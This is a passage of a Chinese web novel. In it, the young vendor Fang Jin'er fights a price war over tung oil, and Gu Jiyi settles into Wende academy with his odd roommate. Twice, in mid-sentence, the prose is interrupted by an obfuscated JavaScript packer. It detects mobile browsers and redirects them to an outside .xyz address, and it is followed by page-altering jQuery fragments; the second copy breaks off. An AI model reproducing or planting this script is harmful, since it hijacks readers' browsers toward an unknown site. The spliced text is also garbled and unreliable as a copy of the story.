奇怪了，平日里吃小摊儿上的蜜饯果子也不见这小囡嫌齁啊。 她又只好问薛湘：“真不用给吴大哥留点儿？” “真不用，你敞开了吃，都是你的。”薛湘迅速拒绝，顺便递给她一碗清水，怕她吃伤了，然后自个拿了碎布来，给房家姐仨缝没缝完的枕头。 “诶，不过你说何大抢你摊子这事儿，你怎不也跟着削削价？就这样让他把好地方夺去了？” 房锦儿吃一口酥蜜团：“他都削到六十文一斤了，我还怎么削？” “你也削到六十文不就行了？”薛湘手里送着针，“摊子跟他并排着摆，人家也不会只买他的。” 房锦儿摇头：“湘姐，他这招削价叫‘作死’，乃是商家制敌的下下之策。你想想，他卖六十，我卖六十，明日他为了压我，再削到五十五，后日我为了胜他，又压到五十，压来压去，等到利润耗干，就是四个字：同归于尽。” 薛湘听她说的也有道理，叹了一口气：“那你现在打算怎么办？” 房锦儿把酥蜜团塞进口中，啜了啜手指上的蜜：“此处不留爷，自有留爷处。先把那文德学馆的书生都拿下再说。” - “郎君……我真的饿了，咱搬完这些，能先去膻堂看看否？”元甲肚子咕噜噜打雷。 他手上打包小提着顾济一的行李，还有顾济一刚买的一瓶灯油，油瓶还是他现从学馆找人借的，八辈子没擦过，脏得要命。 元甲拿两个指头掂着，嫌弃得很。 今日是他家郎君入住文德学馆，郎君不知想起什么了，非说那扇坠子就是掉在通往学馆的半山坡上，拉着他提前来找。 运行李的马车晚些才到，他想着找就找罢，哪知一找找到天黑，没寻到不说，还得知这学馆有规矩，马车不得进山，他又只好一趟一趟地搬。 顾济一在旁边当甩手掌柜，觑他一眼：“你怎么就知道吃。” “人家都说有其主必有其仆，我从小跟着郎君长大，郎君知道什么我就知道什么……哎哟！” 顾济一的扇子落在他脑壳上：“我就是让你吃太多。” 文德学馆里头建筑众多，穿过讲堂便是园林，林中庑廊回曲，两旁亭台碧水，与假山交映，一路通向上舍学子居住的斋舍。 因着天色已黑，斋舍陆续亮起灯火，此时正是一片通明。 顾济一对照着提前从舍监处取得的号牌与钥匙，找到自己的住处，乃是鹿苑甲字号第三间。 斋舍是按学绩排的，一间四人，顾济一不知与谁同住，见房里亮着灯，便抬手敲了敲门：“有人在否？” 怎知敲了几遍，皆无人应答，顾济一只好最后警告一声，推门而入。 “哎哟谁啊，竟敢擅闯本斋舍，胆大如斯，不想活了？”一个学子突然从桌案前蹦跳而起，后退三步，拿毛笔指着顾济一，睡眼惺忪地凶道。 “呃，”原来是点着灯睡着了，顾济一沉默半晌，“在下姓顾，刚分到此间斋舍。” 那学子一下子清醒了：“你就是新来的同砚？” “正是。” “哎呀呀，你可知我等了你许久啊，顾贤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990182|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟！”那学子万分激动，把毛笔一扔，上前就要握住顾济一的手，被顾济一拿扇子轻轻挡开了去。 还来不及问，他又是一愣，认出了元甲：“哦，你就是方才借走我油瓶的那个。” 元甲也将他认出来了，笑道：“这么巧？你与我家郎君竟是舍友。” 只见他退后两步，朝顾济一正色拱手行礼：“在下莱州叶英锐，住文德学馆上舍已满一年，而今能与顾贤弟同舍共学，甚幸甚幸。” 他说完不等顾济一回答，转瞬换回先前那副夸张行径，道：“顾贤弟，你不知，我命苦矣，本该四人一间的斋舍，硬是我独自住了整整一载，寂寞啊，孤独啊。” 顾济一总算抓住一个要点：“这间斋舍只有你一人？” “不，”叶英锐道，“以后就是你我二人了。” 顾济一：“……那床榻和桌案，叶兄是怎么分的？” 舍里四张床榻，左右各二。 叶英锐指了指左边最靠里的那张，也就是方才他跳起来的那个位置，道：“那张是兄的卧榻，其余三张，贤弟想睡哪就睡哪。” 他想了想，又道：“不过我建议顾贤弟选我对面这张，因为面朝正东，易聚祥瑞之气，有助于你我仕途。” “不必。”顾济一婉拒，选了离叶英锐最远的右二，“我看这张就挺好，我这人从小喜静，受不了祥瑞之气，太聒噪。” 叶英锐笑笑，见二人已经开始放行李，转而盯上了元甲放在案上的油瓶。 “顾贤弟这瓶油来得正巧，我一个人住，总是怕黑，故而常彻夜点灯而眠。这不刚好，把油瓶借给这位小兄弟时，灯里就剩一丁点儿油了。” 顾济一听出他话里有话：“叶兄需要便拿去用好了。” 反正他也不点这种油，只是方才看那小女娘可怜才买下，他惯常点的芝麻油就在搬来的行李中。 叶英锐很是高兴，拱手笑道：“那就多谢贤弟了。不过卖桐油的向来少见，我只晓得商市有一家，敢问贤弟这瓶是在哪买的，就在学馆附近么？贵否？” 顾济一被他吵得头疼：“就在学馆外的山坡上，价钱也不贵，只要一百六十几文一斤。叶兄有功夫问我不如出去看看，说不定还在卖。” 哪知叶英锐惊了，看了看瓶中：“一百六十几？！当真？” 顾济一以为他是觉得便宜，不耐烦道：“这有何不真？叶兄若是捡着卖剩的最后一点儿去买，也能这般好价。” “不是，贤弟啊，”叶英锐脸上的表情变了又变，声音有些微妙，“这桐油，寻常只卖六七十文一斤，你是不是遇到骗子了？” 这回轮到顾济一愣了，元甲也是原地一怔，正在铺床的手没敢动。 “当真？” “当真。” 气氛有些僵硬，叶英锐缓缓低头，佯装又看了看瓶中的油，踟躇道：“呃，不过贤弟你这油倒是……倒是，挺清澈。” - 有了薛湘帮忙缝的被褥和枕头，这一夜，房家姐弟三人睡觉格外香。 房锦儿和锦云同睡一席，进逸是哥儿，单独睡一席。 到了起床的时辰，进逸和锦云爬起来，发现房锦儿已经不在被窝里了，兄妹俩出了房门，才见她在院中，借着微光读那本厚厚的《诸行买卖》。 旁边放着剩下的半包酥蜜团，一边翻书，一边拿起来往嘴里送。 两小只相看一眼，同时摇了摇头，悄默声绕开房锦儿，到后院小解去了。 20. 第 20 章 接下来几日，何大果然死皮赖脸地占了明经书馆对过的摊位。 房进利那天抄了他的所得，又罚了他税金的五倍之数，税金每百取三，一来一去，损失就是五贯零一百九十四文。 为了免去杖三十的刑法，他又不得不接受房进利的“提议”：即每日所得利润分房进利三成，美其名曰“福报钱”。 因为交了钱，就能得到房爷的福报——许他在此设摊儿，而不交钱，就只能得到房爷的报复——屁股开花。 何大含泪点了头，分三回纳清了五贯零一百九十四文钱，又在荣永新的“劝慰”下，签字画押了一张“福报契”。 好在房进利这人也不是天天臭着个脸，桐油生意稳定，何大福报给得勤快，他每日酒钱有了着落，心情自然甚好。 有一回竟破天荒地从福报钱里头拿出十文，扔回去给何大：“拿着，房爷赏你的。” 激动得何大连连作揖。 而何大也是个记吃不记打的主儿。 房进利那头刚好过点儿，他就忙不迭去找旧书铺的店主金芳苓，说是要学着房锦儿把招牌挂到竹竿上。 金芳苓啐了他一口：“每月三百文我就给你挂。” “你怎不去抢，”何大不服，大拇指指着自个儿，“我可是街道司亲点的桐油摊子，帮我挂个招牌，说不定还能顺带照拂照拂你这间铺。” “街道司的摊儿？”金芳苓笑了，“那就八百。” “嘿我说你这个臭女娘。”何大还想来硬的，被金芳苓一脚踹了出去。 …… 再说许纵那日借瓶买油，一跃成了明经书馆的红人。 这几日走哪都有人看他眼熟：“诶，瞧，那不是那个六百文钱买了八斤油的呆子么。” 把他的好同砚王远瞻气个半死：“滚，岂容尔辈宵小聒噪。” 王远瞻一边替他回嘴，一边说到做到地休了封书信回洛州老家，将许纵沉迷命理不惜贵价买油之事告诉了许纵他爹。 他爹当即削了他闲资，发书回来，让王远瞻务必看紧许纵。 月考考绩出来之前，除了用功什么也不许做，每日只能往返膻堂和讲堂，至多去一去藏书阁。 好在许纵得了房锦儿算的那一卦，这些个小灾小难早都已经不放在心上了，甚至不必王远瞻盯着，也心甘情愿地向学。 可不是么，高人说了他月考能得甲，他肯定就能得甲。 每每想到此，许纵便莫名多出几分动力与自勉，连看书的眼神都亮了许多。 月考之后还有舍试，舍试只后还有校试和县试，还有府试、院试、秋闱、春闱，他已经迫不及待想去找房锦儿还愿了。 - 房锦儿这边，征服文德学馆的计划却不似想象中顺利。 首先脚程就比原先多了不少。 通往桐油庄的金光门在城西北，通往文德学馆的安化门却在城南，几乎要对穿盛都城。 而一日之内出城两趟，还要背着油上下山，就更不用说了。 回到家累得腿都站不直，往草席上一躺便再也起不来了。好在小锦云懂事，缠着薛湘带她去找了不知哪个街坊婆子，竟学会几招推拿，给房锦儿和进逸捏腿。 头一回就把两人捏了一跳。 “嗷，嗷，疼疼疼。”小锦云只不过按了她腿肚子一下，房锦儿就跟被人打了一般叫唤起来。 锦云吓得赶紧松开手：“我还没捏呢。阿姐，你怎么比湘娘娘还经不住捏。” 房锦儿坐起来揉着痛处：“你还给湘姐捏了？” “捏啦，”锦云眨巴眨巴眼睛，“我拿她练练手。” 房锦儿倒吸一口气：“她还好不？” 只听屋门外传来个声音：“还活着，不过要是再多捏几回，恐怕就不好说了。” 薛湘笑着踏进门来，手里托着罐热水和一小瓶药膏，进门便道：“你家这小囡，手劲大得离谱，就连坊里那个专给人推身敲骨的张婆子都吓一跳，说她这么小个人儿，一股子牛劲，以后千万不能干这行，不然捏瘫几个迟早的事儿。” 锦云鼓鼓腮帮子：“阿姐，那个张阿婆就是故意不想教我才这么说，你千万别信她的，我给你轻轻揉，她教的几样我一看学就会了。” 她说着又把手放到房锦儿腿上，吓得房锦儿将腿一缩：“等等等。” 然而缩腿也不行，她这两日路程实在走太多，筋脉都打了结，一蜷起来就抽抽，更是疼得直叫唤，最后还是任由别人摆布。 薛湘拿了布巾沾热水先给她敷，又抹了化瘀的药膏，最后锦云拿一成力气轻轻揉，揉了半个多时辰，这才缓解开来。 进逸的遭遇也差不多。 因为路程太远，山上的生意暂时又不稳定，腿好后，房锦儿干脆没再让进逸遭罪，让他先在家等两天，自己一个人上山。 起初两日油卖得还行。 她去得早，文德学馆的书生们又是头回见着来卖桐油的，觉得新奇，加之价钱合适，吸引到不少顾客。 然从第三日开始，大抵是何大的油卖得实在太过便宜，风声传开了，城外书院的学子们也有所耳闻，就纷纷跟着下山争抢。 两厢一对比，何大的油成了香饽饽，房锦儿的油自然就显得贵了许多。 于是乎房锦儿每日午时上山，要在山坡上转悠吆喝至少两个时辰，才能勉强卖干净。 且不止要在文德学馆附近兜售，还得背着油罐沿山路而行，到云溪书院和南山书馆去卖。 也有些觉得她油不错的书生劝她：“娘子何不也跟着削削价？所谓薄利多销嘛，你卖得便宜，我等也买得爽快不是。” 房锦儿起初听见还会耐心解释几句，譬如好油进价高云云。 后来听得多了，干脆左耳进右耳出，统统一笑置之。 客人不在意商贩死活，自然是希望越便宜越好，可于商贩而言，每斤八文的利润，哪是说舍就能舍掉。 这回舍掉了，那下回呢？ 何大若是个伤敌一千自损八百的蠢材，能用这招对付她一百回，可她若想一招制敌，就不能乱了阵脚。 故而削价是不可能削价的，她还想再努力努力。 于是她开始观察城外三家书院书生们买桐油的情况，琢磨了几日，终于发现了关窍所在。 她发觉，虽然她常在文德学馆门前吆喝，但反倒是南山书馆的生徒买得更多。 缘何？ 不是南山书馆生徒更多，亦非南山书馆的学子更宽裕。 而是南山书馆藏于山顶，比文德学馆离城更远。 也便是说，房锦儿的桐油现下价钱不占优，就成了卖个方便。 凡是时间充裕，能够下山买油的学子皆不愿买她的，却是那些放堂晚了的、留堂的、苦读的、急着用油的，或是懒得出门、赶时间的，才乐意从她这里打，图个容易。 想通了这一点，房锦儿有些激动。 做生意好比闯军营，也要过五关斩六将才能大破敌军。 于她而言，客人便是敌，银子如同首级，而她始终要做的，是找到那把可以直捣黄龙的刀。 放堂晚的、留堂的、急着用油的、赶时间的…… 房锦儿一连几天，脑子里面绕着这几个词，连走路吆喝都有些心不在焉。 何大从前在商市时，是未时开张。 但前日她去找金芳苓要旧书时，金芳苓告诉她，何大这些日子也学着提早开张，把时辰改到了午正。 由此可推，午时末刻之前，书生们大都准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门子还真没想到这一点，虽仍有些犹豫，但还是说了几位夫子的名字，其中特别严厉的两位，着重告诉了房锦儿。 他怎么也想不到，当天傍晚，房锦儿就藏了油罐，趁着天色偷溜进了文德书馆，摸清了这几位夫子的讲堂。 - 因为是随定远大将军入京，顾济一是月考之后才入的学馆，比寻常新徒晚了一个月整。 这些天他便由学监守着，补考月考。 考完之后，又马不停蹄地补习落下的课业，几乎是日日通宵达旦，足不出户，连膳堂都只去过一回，就是搬来哪日陪着元甲去吃了点儿菜饭。 照理说，以顾济一的身份，既可以随便进哪家高官贵胄的族学，也可以入太学，可他执意选了文德学馆，为的其实是这里的一位夫子—— 寸纶。 寸夫子所授算学闻名盛都，全朝上下无出其右。 但他也是出了名的严，做他的学生，首先便要经过五考六验，之后还需得万分用功，时常留堂苦读。 顾济一挤破了脑袋，好不容易才在寸夫子的讲堂获得一席之位。 头一日听讲便留堂到了亥时。 亥时放堂出门一看，见门口围了一圈人，个个眯眼盯着门旁贴着的一张纸条在看。 顾济一本不爱凑热闹，奈何元甲也在其中，左右手各拎着一包刁家炊饼，看得起劲。 他只好踱步过去，打眼往条上一扫。 只见上头写着：桐油桐油，留堂还有，文德门外，点灯不愁（注：房记桐油，童叟无欺，每日未正起售，多买多送）。